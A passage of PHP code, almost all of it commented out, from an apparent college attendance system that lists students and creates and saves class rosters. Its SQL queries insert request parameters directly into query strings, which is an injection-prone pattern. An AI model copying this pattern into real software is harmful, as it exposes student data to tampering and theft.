$aobj_context->mobj_db->GetAll($query); // if($result) // { // echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); // } // else // { // $data['msg'] = 'Failed to load'; // echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); // } // } // function viewcreateclass($aobj_context) // { // $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); // $collcode = $_SESSION['collcode']; // $degreecode = $aobj_context->mobj_data["degree"]; // $sem = $aobj_context->mobj_data["sem"]; // $sub = $aobj_context->mobj_data["sub"]; // $classname = $aobj_context->mobj_data["fclassid"]; // $mode = $aobj_context->mobj_data["mode"]; // $teachcode = $aobj_context->mobj_data["teachcode"]; // $fclassid = $aobj_context->mobj_data["fclassid"]; // $section = $aobj_context->mobj_data["section"]; // $univcode = $_SESSION['FUNIVCODE']; // if($section == 'All'){ // $cnd = ""; // }else{ // if($univcode == '052'){ // $cnd = "and s.fsectionnew = '{$section}'"; // }else{ // $cnd = "and s.fsection = '{$section}'"; // } // } // $cnd1 = ""; // $cnd2 = ""; // $cnd3 = "and s.fexamno = '{$sem}'"; // if($mode == 'Improvement') // { // $cnd1 = "inner join regfee r on s.fregno = r.fregno and r.FSUBCODE = '{$sub}'"; // $cnd3 = ""; // } // $orderby = "order by s.fregno"; // if($univcode == '049' || $univcode == '097') // $orderby = "order by s.fname"; // if($univcode != '021' && $mode != 'Improvement' && $univcode != '097' && $univcode != '098') // { // $query = "select count(*) as cnt from regcanddet where fcollcode = '{$collcode}' // and fdegree = '{$degreecode}' and fexamno = '{$sem}' and fsubcode = left('{$sub}',4)"; // $res1 = $aobj_context->mobj_db->GetRow($query); // if($res1['cnt'] > 0) // { // }else // { // $data['msg'] = 'Subjects are not attached. kindly do subject registration'; // echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); // return; // } // } // if($univcode == '021' || $univcode == '097' || $univcode == '098' ) // { // $query = "select distinct ifnull(s.fregno,'') as fregno,ifnull(s.FNAME,'') as fname, // if(ifnull(a.fregno,'') <> '' ,'T','F') as fstatus // from student s // {$cnd1} // left join attendsum a on s.fregno = a.fregno // and s.fdegree = a.fdegree // and s.fexamno = a.fexamno // and s.fcollcode = a.fcollcode // and a.fclassid = '{$classname}' // where s.fdegree = '{$degreecode}' // and s.FCOLLCODE = '{$collcode}' // and ifnull(s.fdeleted,'') <> 'T' // $cnd // $cnd3 // {$orderby}"; // //var_dump($query); // }else if($mode == 'Improvement') // { // $query = "select distinct ifnull(s.fregno,'') as fregno,ifnull(s.FNAME,'') as fname, // if(ifnull(a.fregno,'') <> '' ,'T','F') as fstatus // from student s // {$cnd1} // left join attendsum a on s.fregno = a.fregno and s.fdegree = a.fdegree // and s.fexamno = a.fexamno // and s.fcollcode = a.fcollcode // and a.fclassid = '{$classname}' // where s.fdegree = '{$degreecode}' // and s.FCOLLCODE = '{$collcode}' // and ifnull(s.fdeleted,'') <> 'T' // $cnd // {$orderby}"; // } // else // { // $query = "select distinct ifnull(s.fregno,'') as fregno,ifnull(s.FNAME,'') as fname, // if(ifnull(a.fregno,'') <> '' ,'T','F') as fstatus // from student s // inner join regcanddet cd on s.fregno = cd.fregno // and cd.fdegree = s.fdegree and cd.fcollcode = s.fcollcode // {$cnd1} // left join attendsum a on s.fregno = a.fregno and s.fdegree = a.fdegree and s.fexamno = a.fexamno // and s.fcollcode = a.fcollcode // and a.fclassid = '{$classname}' // where s.fdegree = '{$degreecode}' // and s.FCOLLCODE = '{$collcode}' // and left(cd.fsubcode,4) = left('{$sub}',4) // and ifnull(s.fdeleted,'') <> 'T' // {$cnd3} // $cnd // {$orderby}"; // } // //var_dump($query); // $result = $aobj_context->mobj_db->GetAll($query); // if($result) // { // echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); // } // else // { // $data['msg'] = 'Faile to load'; // echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); // } // } // function savecreateclass($aobj_context) // { // $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); // $collcode = $_SESSION['collcode']; // $univcode = $_SESSION['FUNIVCODE']; // include("error_log.php"); // $usr = $_SESSION['usr']; // $mob = $_SESSION['FMOBILE']; // $degreecode = $aobj_context->mobj_data["degree"]; // $sem = $aobj_context->mobj_data["sem"]; // $sub = $aobj_context->mobj_data["sub"]; // $mode = $aobj_context->mobj_data["mode"]; // $classname = $aobj_context->mobj_data["classname"]; // $teachcode = $aobj_context->mobj_data["teachcode"]; // $fclassid = $aobj_context->mobj_data["fclassid"]; // $section = $aobj_context->mobj_data["section"]; // $_data = $aobj_context->mobj_data["data"]; // $data = json_decode($_data,true); // $secCond = ""; // if($univcode == "049"){ // if($section === "All" || $section === ""){ // $data['msg'] = 'select the section'; // echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); // return; // } // $secCond = "and fsection='{$section}'"; // } // $qry="select distinct ifnull(fclassid, '')as fclassid from attendsum where fsubcode='{$sub}' // and fteachcode='{$teachcode}' and fdegree = '{$degreecode}'"; // $res = $aobj_context->mobj_db->GetRow($qry); // // if(count($res)===1 && $res['fclassid'] != $fclassid){ // // $data['msg'] = 'Subject already added to the different classnames'; // // echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); // // return; // // } // // and fdegree = '{$degreecode}' // $qry="select ifnull(fclassid, '')as fclassid from attendsum // where fteachcode='{$teachcode}' and fsubcode='{$sub}' and fexamno='{$sem}' // {$secCond}"; // $res = $aobj_context->mobj_db->GetRow($qry); // // if(count($res)===1 && $res['fclassid'] !== $fclassid){ // // $data['msg'] = 'Students already added to the different classname'; // // echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); // // return; // // } // $qrtype = "select ifnull(fatyear,'') as fyear,ifnull(fatexamtype,'') as fexamtype, // FMEYEAR, FMEEXAMTYP // from degree // where FDEGREE = '{$degreecode}' and FEXAMNO = '{$sem}'"; // $resqrtype = $aobj_context->mobj_db->GetRow($qrtype); // $fyear = $resqrtype['fyear']; // $fexamtype = $resqrtype['fexamtype']; // $FMEYEAR = $resqrtype['FMEYEAR']; // $FMEEXAMTYP = $resqrtype['FMEEXAMTYP']; // if (!empty($_SERVER['HTTP_CLIENT_IP'])) // { // $ip_address = $_SERVER['HTTP_CLIENT_IP']; // } // else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) // { // $ip_address = $_SERVER['HTTP_X_FORWARDED_FOR']; // } // else // { // $ip_address = $_SERVER['REMOTE_ADDR']; // } // $univcode = $_SESSION['FUNIVCODE']; // $mob = $_SESSION['FMOBILE']; // $usr = $_SESSION['usr']; // $college_code = $_SESSION['collcode']; // foreach($data as $key => $val){ // $regno = $val['regno']; // if($val['classid'] == 'T'){ // $str = "ADD STUDENTS TO CLASS: CLASSID : $fclassid, THEACHERCODE : $teachcode, REGNO: $regno,SUBJECT : $sub"; // $remark = $str; // $enttype = "ATTA"; // $res = error_logs($aobj_context,$univcode,$remark,$college_code,$enttype,$usr,$mob); // $Insertquery = "insert ignore into attendsum (fclassid,fcreatedate,fteachcode,fcollcode,fdegree,fexamno,fsubcode,fclassname,fregno,fyear,fexamtype,fsection,fmode,fdeleted) // values('{$fclassid}',now(),'{$teachcode}','{$collcode}','{$degreecode}','{$sem}','{$sub}','{$classname}','{$val['regno']}','{$fyear}','{$fexamtype}','{$section}','{$mode}','F')"; // $resupdquery = $aobj_context->mobj_db->Execute($Insertquery); // }else{ // $str = "DELETE STUDENTS TO CLASS: CLASSID : $fclassid, THEACHERCODE : $teachcode, REGNO : $regno,SUBJECT : $sub"; // $remark = $str; // $enttype = "ATTD"; // $res = error_logs($aobj_context,$univcode,$remark,$college_code,$enttype,$usr,$mob); // $updquery = "DELETE FROM attendsum // WHERE fregno='{$val['regno']}' // and fclassid = '{$fclassid}' // and fteachcode = '{$teachcode}' // and fcollcode = '{$collcode}' // and fdegree = '{$degreecode}' // and fexamno = '{$sem}' // and fsubcode = '{$sub}' // and fclassname = '{$classname}' // and fsection = '{$section}'"; // $resupdquery = $aobj_context->mobj_db->Execute($updquery); // // $Insertquery = "insert ignore into marksint(fcollcode,fexamno,fdegree,fregno,fsubcode,fyear,fexamtype) // // select a.fcollcode,a.fexamno,a.fdegree,a.fregno,concat(s.fcsubcode,s.fsubcode),'{$FMEYEAR}','{$FMEEXAMTYP}' from attendsum a // // inner join degree d on a.fdegree = d.fdegree and a.fexamno = d.fexamno // // inner join subdet s on a.fdegree = s.fdegree and s.fexamno = a.fexamno // // and left(s.fcsubcode,4) = left(a.fsubcode,4) // // where d.fexamno = '{$sem}' // // and d.fdegree = '{$degreecode}'"; // // $res = $aobj_context->mobj_db->Execute($Insertquery); // // $Insertquery = "INSERT IGNORE INTO attend(FDEGREE, FEXAMNO, FCOLLCODE, fregno, FSUBCODE, FYEAR, FEXAMTYPE,FCREATEDATE) // // SELECT DISTINCT a.FDEGREE, a.FEXAMNO, a.FCOLLCODE,a.fregno, s.FcSUBCODE, '{$FMEYEAR}','{$FMEEXAMTYP}',now() // // FROM subject s // // INNER JOIN attendsum a ON a.fdegree = s.fdegree // // AND a.fsubcode = s.fcsubcode // // WHERE a.fdegree LIKE '{$degreecode}' // // AND a.fexamno = '{$sem}' // // GROUP BY a.FDEGREE,a.fregno,s.FSUBCODE"; // // $res = $aobj_context->mobj_db->Execute($Insertquery); // } // } // $Insertquery = "insert ignore into marksint(fcollcode,fexamno,fdegree,fregno,fsubcode,fyear,fexamtype) // select a.fcollcode,a.fexamno,a.fdegree,a.fregno,concat(s.fcsubcode,s.fsubcode),'{$FMEYEAR}','{$FMEEXAMTYP}' from attendsum a // inner join degree d on a.fdegree = d.fdegree and a.fexamno = d.fexamno // inner join subdet s on a.fdegree = s.fdegree and s.fexamno = a.fexamno // and left(s.fcsubcode,4) = left(a.fsubcode,4) // where d.fexamno = '{$sem}' // and d.fdegree = '{$degreecode}'"; // // var_dump($Insertquery);die(); // $res = $aobj_context->mobj_db->Execute($Insertquery); // $Insertquery = "INSERT IGNORE INTO attend(FDEGREE, FEXAMNO, FCOLLCODE, fregno, FSUBCODE, FYEAR, FEXAMTYPE,FCREATEDATE) // SELECT DISTINCT a.FDEGREE, a.FEXAMNO, a.FCOLLCODE,a.fregno, s.Fcsubcode, '{$FMEYEAR}','{$FMEEXAMTYP}',now() // FROM subject s // INNER JOIN attendsum a ON a.fdegree = s.fdegree // AND a.fsubcode = s.fcsubcode // WHERE a.fdegree LIKE '{$degreecode}' // AND a.fexamno = '{$sem}' // GROUP BY a.FDEGREE,a.fregno,s.FSUBCODE"; // $res = $aobj_context->mobj_db->Execute($Insertquery); // if($resupdquery) // { // $data['msg'] = 'Save Successfully...!'; // echo $aobj_context->mobj_output->ToJSONEnvelope($data,0,"success"); // } // else // { // $data['msg'] = 'Faile to Save'; // echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); // } // } // function viewStuds($aobj_context) // { // $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); // $collcode = $_SESSION['collcode']; // $usertype = $_SESSION['user_type']; // $usr = $_SESSION['usr']; // $cnd = ''; // if(strtolower($usertype) == 'user' && strtolower($_SESSION['super_wiser']) !== 't') // { // $cnd = "and a.fteachcode = '{$usr}'"; // } // $query = "select ifnull(a.fteachcode,'') as fteachcode,ifnull(m.fteachname,'') as fteachname, // ifnull(a.fclassid,'') as fclassid, // ifnull(ac.fclassname,'') as fclassname, // count(a.fclassid) as count from attendsum a // inner join masteach m on m.fteachcode = a.fteachcode // and m.fcollcode = a.fcollcode // left join attclass ac on a.fclassid = ac.fclassid // where a.fcollcode = '{$collcode}' $cnd // group by a.fclassid"; // $result = $aobj_context->mobj_db->GetAll($query); // if($result) // { // echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); // } // else // { // $data['msg'] = 'Faile to load'; // echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); // } // } // function viewAddClassstuds($aobj_context) // { // $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); // $collcode = $_SESSION['collcode']; // $teachcode = $aobj_context->mobj_data["teachcode"]; // $fclassid = $aobj_context->mobj_data["fclassid"]; // $usertype = $_SESSION['user_type']; // $usr = $_SESSION['usr']; // $cnd = ''; // if(strtolower($usertype) == 'user' && strtolower($_SESSION['super_wiser']) !== 't') // { // $cnd = "and a.fteachcode = '{$usr}'"; // } // $query = "select ifnull(a.fclassid,'') as fclassid , // ifnull(a.fregno,'') as fregno,ifnull(s.FNAME,'') as fname, // ifnull(a.fdeleted, '')as fdeleted // from attendsum a // inner join student s on a.fregno = s.fregno // where a.fcollcode = '{$collcode}' and a.fclassid = '{$fclassid}' $cnd"; // $result = $aobj_context->mobj_db->GetAll($query); // if($result) // { // echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); // } // else // { // $data['msg'] = 'Faile to load'; // echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); // } // } ?>
Close